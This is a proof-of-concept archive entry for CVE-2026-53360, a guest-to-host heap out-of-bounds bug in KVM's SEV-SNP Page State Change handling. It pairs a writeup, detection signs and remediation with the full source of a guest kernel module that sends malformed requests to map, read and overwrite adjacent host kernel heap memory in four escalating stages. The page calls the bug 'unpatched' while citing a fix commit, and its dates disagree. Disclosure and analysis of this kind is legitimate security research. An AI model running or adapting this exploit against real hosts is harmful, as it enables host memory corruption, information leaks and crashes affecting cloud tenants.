PoC Archive PoC Archive
High (guest-to-host host kernel heap corruption / info leak) CVE-2026-53360 unpatched

KVM SEV-SNP Page State Change (PSC) Heap Out-of-Bounds — CVE-2026-53360

by 0xCyberstan (writeup: cyberstan.co.uk) · 2026-07-05

Severity
High (guest-to-host host kernel heap corruption / info leak)
CVE
CVE-2026-53360
Category
binary
Affected product
Linux KVM host, SEV-SNP support (arch/x86/kvm/svm/sev.c, snp_begin_psc() / setup_vmgexit_scratch())
Affected versions
Introduced in commit 9b54e248d264 (~v6.10, first KVM SNP PSC handling); fixed by commit db3f219 (mainline, tagged Fixes: 4af663c, backported to stable). Tested vulnerable on host kernel 6.11.11.
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcher0xCyberstan (writeup: cyberstan.co.uk)
CVE / AdvisoryCVE-2026-53360
Categorybinary
SeverityHigh (guest-to-host host kernel heap corruption / info leak)
CVSS ScoreNot disclosed
StatusPoC
Tagskvm, sev-snp, kernel, heap-oob, kasan, guest-escape, slab, kmalloc-cg, linux-kernel, cwe-125, cwe-787
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux KVM host, SEV-SNP support (arch/x86/kvm/svm/sev.c, snp_begin_psc() / setup_vmgexit_scratch())
Versions AffectedIntroduced in commit 9b54e248d264 (~v6.10, first KVM SNP PSC handling); fixed by commit db3f219 (mainline, tagged Fixes: 4af663c, backported to stable). Tested vulnerable on host kernel 6.11.11.
Language / PlatformC — Linux kernel module (trigger.c) run inside an SEV-SNP guest, attacking the KVM host via GHCB VMGEXIT requests
Authentication RequiredNo (any code running inside an SEV-SNP guest, including as a kernel module the guest owner loads)
Network Access RequiredNo (local guest-to-hypervisor channel via GHCB, not network-based)

Summary

KVM’s SEV-SNP Page State Change (PSC) handler trusts a guest-supplied entry count against a fixed protocol constant (VMGEXIT_PSC_MAX_COUNT = 253) instead of validating it against the actual size of the buffer the host allocated for the request. When a guest points its GHCB scratch area outside the shared GHCB buffer, the host allocates a kmalloc-cg-backed buffer sized exactly to the guest-supplied length, but still permits the guest to specify an end index up to 253 entries. This lets a malicious SEV-SNP guest walk past the end of a small (e.g. 32-byte) slab allocation, reading and partially overwriting adjacent kernel heap objects on repeated requests. The included PoC is a guest kernel module that, on load, runs four escalating stages (heap-layout disclosure, persistence-of-write verification, extended OOB read, and a KASAN-triggering sweep) purely by crafting malformed PSC requests from inside the guest.


Vulnerability Details

Root Cause

In snp_begin_psc(), the entry-index bound check validates hdr->end_entry against the protocol-level constant VMGEXIT_PSC_MAX_COUNT (253) rather than against the size of the buffer actually allocated by setup_vmgexit_scratch() for an out-of-GHCB scratch area (kvzalloc(len, GFP_KERNEL_ACCOUNT), where len is guest-controlled via SW_EXITINFO2). A guest that requests a small scratch buffer (e.g. 24 bytes, fitting only 2 entries) but sets end_entry up to 252 causes the host to read/write far past the allocation boundary (CWE-125 / CWE-787).

Attack Vector

  1. From inside an SEV-SNP guest, construct a GHCB PSC VMGEXIT request whose SW_SCRATCH points outside the GHCB’s shared buffer, forcing the host to allocate a small dedicated buffer sized by the guest-controlled SW_EXITINFO2 length.
  2. Set the PSC descriptor’s end_entry field beyond the number of entries that actually fit in the allocated buffer (up to the protocol max of 253).
  3. Repeat VMGEXIT requests, incrementing/probing the out-of-bounds index, to read adjacent slab memory contents (heap layout disclosure) and, when a decoded OOB entry validates as a KVM_HC_MAP_GPA_RANGE, trigger a small constrained write back into that OOB slot.
  4. Repeat across many requests (each re-allocating the scratch buffer) to sweep across different neighboring slab objects, enabling heap layout disclosure, a constrained write primitive, and use-after-free conditions.

Impact

A malicious or compromised SEV-SNP guest can corrupt and read the host kernel’s heap memory (specifically kmalloc-cg-32 slab objects), undermining the flip side of SEV-SNP’s threat model (guest is untrusted by design, but the host must still defend against a hostile guest). This can lead to host kernel information disclosure, memory corruption, denial of service (host crash), and is a foothold for further host kernel exploitation.


Environment / Lab Setup

Target:   Bare-metal AMD EPYC (Milan/Genoa/Bergamo/Siena/Turin) host with SEV-SNP enabled,
          KVM host kernel built with CONFIG_KASAN=y, booted with kvm_amd.sev_snp=1 kasan_multi_shot
Attacker: SNP-capable QEMU fork (AMDESE/qemu, snp-latest branch) + SNP OVMF firmware,
          Linux guest with build-essential/linux-headers to build trigger.ko

Proof of Concept

PoC Script

See trigger.c and Makefile in this folder.

1
2
3
make
insmod trigger.ko
dmesg | grep -E "KASAN|BUG|snp_begin_psc"

trigger.c is a guest kernel module that checks for SEV-SNP via CPUID, allocates a decrypted scratch page, hand-builds malformed GHCB PSC requests, and runs four stages: (1) probing 48 out-of-bounds entries to map host heap layout, (2) verifying an OOB write persists across VMGEXITs, (3) measuring how far an OOB read reaches, and (4) firing 200 requests designed to trip KASAN reports on the host. It returns -EAGAIN from init so it unloads itself automatically after running.


Detection & IOCs

BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x126/0x890
Read of size 8 at addr ffff888219ffb5e0 by task qemu-system-x86/2199

BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x468/0x890
Write of size 8 at addr ffff888351566648 by task qemu-system-x86/2199

The buggy address belongs to the object at ffff888XXXXXXXXX
 which belongs to the cache kmalloc-cg-32 of size 32

Signs of compromise:

  • Host dmesg/KASAN reports referencing snp_begin_psc slab-out-of-bounds or slab-use-after-free against kmalloc-cg-32
  • Repeated PSC VMGEXITs from a guest with a scratch area pointing outside the GHCB shared buffer and abnormally high end_entry values relative to declared length
  • Unexplained host kernel instability/crashes correlated with a specific SEV-SNP guest VM

Remediation

ActionDetail
Primary fixApply upstream commit db3f219, which rejects any out-of-GHCB scratch area for GHCB v2+ guests in setup_vmgexit_scratch(), pinning the buffer to a fixed known size, and additionally bounds the entry count against the real buffer size while re-reading the descriptor via READ_ONCE()
Interim mitigationUntil patched, restrict which guests can run under SEV-SNP on a given host, monitor host KASAN/dmesg for snp_begin_psc faults, and treat any SEV-SNP guest as capable of host kernel heap interaction

References


Notes

Mirrored from https://github.com/0xCyberstan/CVE-2026-53360-POC on 2026-07-05. This PoC requires real AMD SEV-SNP hardware (bare metal EPYC 7003+) and cannot be reproduced on Intel or under nested virtualization; it was not executed as part of this archival/mirroring pass, only reviewed. LICENSE (GPL-2.0, matching the kernel module’s MODULE_LICENSE) was excluded from the mirror per archive convention.

trigger.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
/*
 * trigger.c - PoC for snp_begin_psc() heap OOB (guest kernel module)
 *
 * Bug: snp_begin_psc() checks end_entry < 253 but not against the
 * kvzalloc(exit_info_2) buffer size. With exit_info_2=24 (kmalloc-cg-32)
 * and end_entry > 2, the host reads/writes past the buffer into adjacent
 * slab objects.
 *
 * Load inside an SEV-SNP guest. Triggers KASAN slab-out-of-bounds on host.
 *
 *   insmod trigger.ko
 *   # host: dmesg | grep KASAN
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/io.h>
#include <linux/slab.h>
#include <linux/percpu.h>
#include <linux/kprobes.h>
#include <linux/set_memory.h>
#include <linux/delay.h>

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("PoC for snp_begin_psc heap OOB");
MODULE_AUTHOR("Stan");

#define MSR_AMD64_SEV_ES_GHCB		0xc0010130

#define GHCB_OFF_SW_EXIT_CODE		0x390
#define GHCB_OFF_SW_EXIT_INFO_1		0x398
#define GHCB_OFF_SW_EXIT_INFO_2		0x3A0
#define GHCB_OFF_SW_SCRATCH		0x3A8
#define GHCB_OFF_VALID_BITMAP		0x3F0
#define GHCB_OFF_PROTO_VER		0xFF2
#define GHCB_OFF_USAGE			0xFF4

#define VBIT_SW_EXIT_CODE		114
#define VBIT_SW_EXIT_INFO1		115
#define VBIT_SW_EXIT_INFO2		116
#define VBIT_SW_SCRATCH			117

#define SVM_VMGEXIT_PSC			0x80000010ULL

/* Match host psc_buffer layout from sev-common.h */
struct psc_hdr {
	u16 cur_entry;
	u16 end_entry;
	u32 reserved;
} __packed;

struct psc_entry {
	u64 cur_page	: 12;
	u64 gfn		: 40;
	u64 operation	: 4;
	u64 pagesize	: 1;
	u64 reserved	: 7;
} __packed;

#define PSC_ERROR_BIT		(1ULL << 32)

/*
 * 24 bytes = 8-byte hdr + 2 entries in-bounds.
 * entries[2] hits slab padding, entries[3+] hit adjacent objects.
 */
#define PSC_ALLOC_SIZE		24

#define OOB_PROBE_COUNT		48
#define OOB_START_ENTRY		3

static inline u64 raw_rdmsr(u32 msr)
{
	u32 lo, hi;
	asm volatile("rdmsr" : "=a"(lo), "=d"(hi) : "c"(msr));
	return ((u64)hi << 32) | lo;
}

static inline void raw_wrmsr(u32 msr, u64 val)
{
	asm volatile("wrmsr" : : "c"(msr), "a"((u32)val), "d"((u32)(val >> 32)));
}

static inline void ghcb_w64(void *g, unsigned int off, u64 val)
{
	*(volatile u64 *)((u8 *)g + off) = val;
}

static inline u64 ghcb_r64(void *g, unsigned int off)
{
	return *(volatile u64 *)((u8 *)g + off);
}

static inline void ghcb_set_vbit(void *g, unsigned int bit)
{
	u8 *bm = (u8 *)g + GHCB_OFF_VALID_BITMAP;
	bm[bit / 8] |= 1 << (bit % 8);
}

typedef unsigned long (*kln_t)(const char *);
static kln_t get_kallsyms_lookup_name(void)
{
	struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" };
	kln_t addr;
	if (register_kprobe(&kp) < 0)
		return NULL;
	addr = (kln_t)kp.addr;
	unregister_kprobe(&kp);
	return addr;
}

static u64 fire_psc_vmgexit(phys_addr_t scratch_pa, u64 alloc_size,
			    void *ghcb_va, phys_addr_t ghcb_pa)
{
	u64 resp;

	memset((u8 *)ghcb_va + GHCB_OFF_VALID_BITMAP, 0, 16);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_CODE, 0);

	*(u16 *)((u8 *)ghcb_va + GHCB_OFF_PROTO_VER) = 2;
	*(u32 *)((u8 *)ghcb_va + GHCB_OFF_USAGE) = 0;

	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_CODE, SVM_VMGEXIT_PSC);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_INFO_1, 0);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_INFO_2, alloc_size);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_SCRATCH, (u64)scratch_pa);

	ghcb_set_vbit(ghcb_va, VBIT_SW_EXIT_CODE);
	ghcb_set_vbit(ghcb_va, VBIT_SW_EXIT_INFO1);
	ghcb_set_vbit(ghcb_va, VBIT_SW_EXIT_INFO2);
	ghcb_set_vbit(ghcb_va, VBIT_SW_SCRATCH);

	asm volatile("rep; vmmcall" ::: "memory");

	resp = ghcb_r64(ghcb_va, GHCB_OFF_SW_EXIT_INFO_2);
	raw_wrmsr(MSR_AMD64_SEV_ES_GHCB, ghcb_pa);

	return resp;
}

static void setup_scratch(void *scratch_va, u16 cur_entry, u16 end_entry,
			  phys_addr_t safe_gfn)
{
	struct psc_hdr *hdr = (struct psc_hdr *)scratch_va;
	struct psc_entry *entries = (struct psc_entry *)(hdr + 1);

	memset(scratch_va, 0, PAGE_SIZE);

	hdr->cur_entry = cur_entry;
	hdr->end_entry = end_entry;

	entries[0].gfn       = safe_gfn;
	entries[0].operation = 2; /* SHARED */
	entries[0].pagesize  = 0;
	entries[0].cur_page  = 0;

	entries[1].gfn       = safe_gfn + 1;
	entries[1].operation = 2;
	entries[1].pagesize  = 0;
	entries[1].cur_page  = 0;
}

/*
 * Stage 1: Probe each OOB entry one at a time.
 * Response of 0 = adjacent memory was zero (host also wrote cur_page=1).
 * Response with error bit = adjacent memory has non-zero data.
 * This maps the host heap layout from inside the guest.
 */
static void run_stage1_oracle(void *scratch_va, phys_addr_t scratch_pa,
			      phys_addr_t safe_gfn, void *ghcb_va,
			      phys_addr_t ghcb_pa)
{
	u64 resp;
	int i;
	u8 map[OOB_PROBE_COUNT];

	pr_info("psc_oob: stage 1: probing %d OOB entries\n", OOB_PROBE_COUNT);

	memset(map, 0, sizeof(map));

	for (i = 0; i < OOB_PROBE_COUNT; i++) {
		u16 target = OOB_START_ENTRY + i;
		struct psc_hdr *hdr;

		setup_scratch(scratch_va, target, target, safe_gfn);
		wmb();

		resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE,
					ghcb_va, ghcb_pa);

		if (resp == 0)
			map[i] = 'Z';
		else if (resp & PSC_ERROR_BIT)
			map[i] = 'K';
		else
			map[i] = '?';

		hdr = (struct psc_hdr *)scratch_va;
		pr_info("psc_oob:   entry[%u] (+%u bytes): resp=0x%llx %c\n",
			target, (unsigned)(target * 8 + 8), resp, map[i]);
	}

	pr_info("psc_oob: heap map (Z=zero, K=kernel data):\n");
	for (i = 0; i < OOB_PROBE_COUNT; i += 4) {
		pr_info("psc_oob:   obj +%d: %c%c%c%c\n",
			i / 4 + 1, map[i], map[i+1],
			(i+2 < OOB_PROBE_COUNT) ? map[i+2] : ' ',
			(i+3 < OOB_PROBE_COUNT) ? map[i+3] : ' ');
	}
}

/*
 * Stage 2: Prove the OOB write persists across VMGEXITs.
 * First VMGEXIT writes cur_page=1 to a zero OOB entry. Second VMGEXIT
 * sees the entry as "completed" and skips it, proving the write landed
 * in adjacent slab memory.
 */
static void run_stage2_write(void *scratch_va, phys_addr_t scratch_pa,
			     phys_addr_t safe_gfn, void *ghcb_va,
			     phys_addr_t ghcb_pa)
{
	u64 resp;
	int i, found_zero = -1;

	pr_info("psc_oob: stage 2: OOB write proof\n");

	for (i = OOB_START_ENTRY; i < OOB_START_ENTRY + OOB_PROBE_COUNT; i++) {
		setup_scratch(scratch_va, i, i, safe_gfn);
		wmb();
		resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE,
					ghcb_va, ghcb_pa);
		if (resp == 0) {
			found_zero = i;
			pr_info("psc_oob:   zero entry at index %d (+%d bytes)\n",
				i, i * 8 + 8);
			break;
		}
	}

	if (found_zero < 0) {
		pr_info("psc_oob:   no zero entries found\n");
		return;
	}

	/* Re-probe: if the write persisted, this entry gets skipped */
	setup_scratch(scratch_va, found_zero, found_zero + 5, safe_gfn);
	wmb();
	resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE, ghcb_va, ghcb_pa);

	{
		struct psc_hdr *hdr = (struct psc_hdr *)scratch_va;
		pr_info("psc_oob:   re-probe [%d..%d]: resp=0x%llx cur_entry=%u\n",
			found_zero, found_zero + 5, resp, hdr->cur_entry);

		if (resp & PSC_ERROR_BIT)
			pr_info("psc_oob:   write confirmed: entry skipped, "
				"host hit data at %u\n", hdr->cur_entry);
	}

	for (i = found_zero; i < found_zero + 8 &&
	     i < OOB_START_ENTRY + OOB_PROBE_COUNT; i++) {
		u64 r;
		struct psc_hdr *h;

		setup_scratch(scratch_va, i, i, safe_gfn);
		wmb();
		r = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE,
				     ghcb_va, ghcb_pa);
		h = (struct psc_hdr *)scratch_va;
		pr_info("psc_oob:   entry[%d]: resp=0x%llx cur=%u %s%s\n",
			i, r, h->cur_entry,
			(r == 0) ? "PASS" :
			(r & PSC_ERROR_BIT) ? "FAIL" : "OTHER",
			(i == found_zero) ? " <-- written" : "");
	}
}

/*
 * Stage 3: Single VMGEXIT with end_entry=200.
 * Measures how far the OOB reaches before hitting non-zero data.
 */
static void run_stage3_scan(void *scratch_va, phys_addr_t scratch_pa,
			    phys_addr_t safe_gfn, void *ghcb_va,
			    phys_addr_t ghcb_pa)
{
	u64 resp;
	struct psc_hdr *hdr;
	u16 end = 200;

	pr_info("psc_oob: stage 3: full scan (end_entry=%u)\n", end);

	setup_scratch(scratch_va, 0, end, safe_gfn);
	wmb();

	resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE, ghcb_va, ghcb_pa);
	hdr = (struct psc_hdr *)scratch_va;

	pr_info("psc_oob:   resp=0x%llx, stopped at entry %u (of %u)\n",
		resp, hdr->cur_entry, end);
	pr_info("psc_oob:   buffer=%u bytes, OOB reached +%u bytes\n",
		PSC_ALLOC_SIZE, (unsigned)(hdr->cur_entry * 8 + 8));
}

/*
 * Stage 4: Fire 200 VMGEXITs with entries[3..10] OOB.
 * Each one triggers a KASAN slab-out-of-bounds on the host.
 */
#define SPRAY_COUNT	200

static void run_stage4_spray(void *scratch_va, phys_addr_t scratch_pa,
			     phys_addr_t safe_gfn, void *ghcb_va,
			     phys_addr_t ghcb_pa)
{
	int i, success = 0, errors = 0;
	u64 resp;
	struct psc_hdr *hdr;

	pr_info("psc_oob: stage 4: %d VMGEXITs with OOB entries\n", SPRAY_COUNT);

	for (i = 0; i < SPRAY_COUNT; i++) {
		memset(scratch_va, 0, 64);
		hdr = (struct psc_hdr *)scratch_va;
		hdr->cur_entry = 3;
		hdr->end_entry = 10;
		wmb();

		resp = fire_psc_vmgexit(scratch_pa, PSC_ALLOC_SIZE,
					ghcb_va, ghcb_pa);

		if (resp == 0)
			success++;
		else
			errors++;

		if ((i % 50) == 0 || i == SPRAY_COUNT - 1)
			pr_info("psc_oob:   [%d/%d] resp=0x%llx\n",
				i + 1, SPRAY_COUNT, resp);
	}

	pr_info("psc_oob:   %d zero (wrote OOB), %d non-zero (read OOB)\n",
		success, errors);
}

static int __init trigger_init(void)
{
	struct page *scratch_page;
	phys_addr_t scratch_pa, ghcb_pa, safe_gfn;
	unsigned long flags, rd_sym;
	void *ghcb_va, *scratch_va;
	kln_t kln;
	int ret;
	typedef int (*smd_t)(unsigned long addr, int numpages);
	smd_t set_mem_dec;

	/* Check SEV-SNP via CPUID 0x8000001f */
	{
		u32 eax;
		asm volatile("cpuid" : "=a"(eax) : "a"(0x8000001f)
			     : "ebx", "ecx", "edx");
		if (!(eax & BIT(4))) {
			pr_err("psc_oob: not an SEV-SNP guest\n");
			return -ENODEV;
		}
	}
	pr_info("psc_oob: SEV-SNP confirmed\n");

	kln = get_kallsyms_lookup_name();
	if (!kln)
		return -ENOENT;

	rd_sym = kln("runtime_data");
	if (!rd_sym)
		return -ENOENT;

	set_mem_dec = (smd_t)kln("set_memory_decrypted");
	if (!set_mem_dec)
		return -ENOENT;

	scratch_page = alloc_page(GFP_KERNEL | __GFP_ZERO);
	if (!scratch_page)
		return -ENOMEM;
	scratch_va = page_address(scratch_page);
	scratch_pa = page_to_phys(scratch_page);
	safe_gfn = scratch_pa >> PAGE_SHIFT;

	ret = set_mem_dec((unsigned long)scratch_va, 1);
	if (ret) {
		__free_page(scratch_page);
		return ret;
	}

	/* Get this CPU's GHCB */
	{
		void __percpu **rd_percpu = (void __percpu **)rd_sym;
		void *rd_ptr;

		preempt_disable();
		rd_ptr = this_cpu_read(*rd_percpu);
		preempt_enable();

		if (!rd_ptr)
			return -EINVAL;
		ghcb_va = rd_ptr;
		ghcb_pa = __pa(ghcb_va);
	}

	pr_info("psc_oob: scratch=0x%llx ghcb=0x%llx\n",
		(u64)scratch_pa, (u64)ghcb_pa);

	local_irq_save(flags);
	preempt_disable();

	run_stage1_oracle(scratch_va, scratch_pa, safe_gfn, ghcb_va, ghcb_pa);
	run_stage2_write(scratch_va, scratch_pa, safe_gfn, ghcb_va, ghcb_pa);
	run_stage3_scan(scratch_va, scratch_pa, safe_gfn, ghcb_va, ghcb_pa);
	run_stage4_spray(scratch_va, scratch_pa, safe_gfn, ghcb_va, ghcb_pa);

	memset((u8 *)ghcb_va + GHCB_OFF_VALID_BITMAP, 0, 16);
	ghcb_w64(ghcb_va, GHCB_OFF_SW_EXIT_CODE, 0);
	raw_wrmsr(MSR_AMD64_SEV_ES_GHCB, ghcb_pa);

	preempt_enable();
	local_irq_restore(flags);

	pr_info("psc_oob: done\n");
	return -EAGAIN;
}

static void __exit trigger_exit(void) {}
module_init(trigger_init);
module_exit(trigger_exit);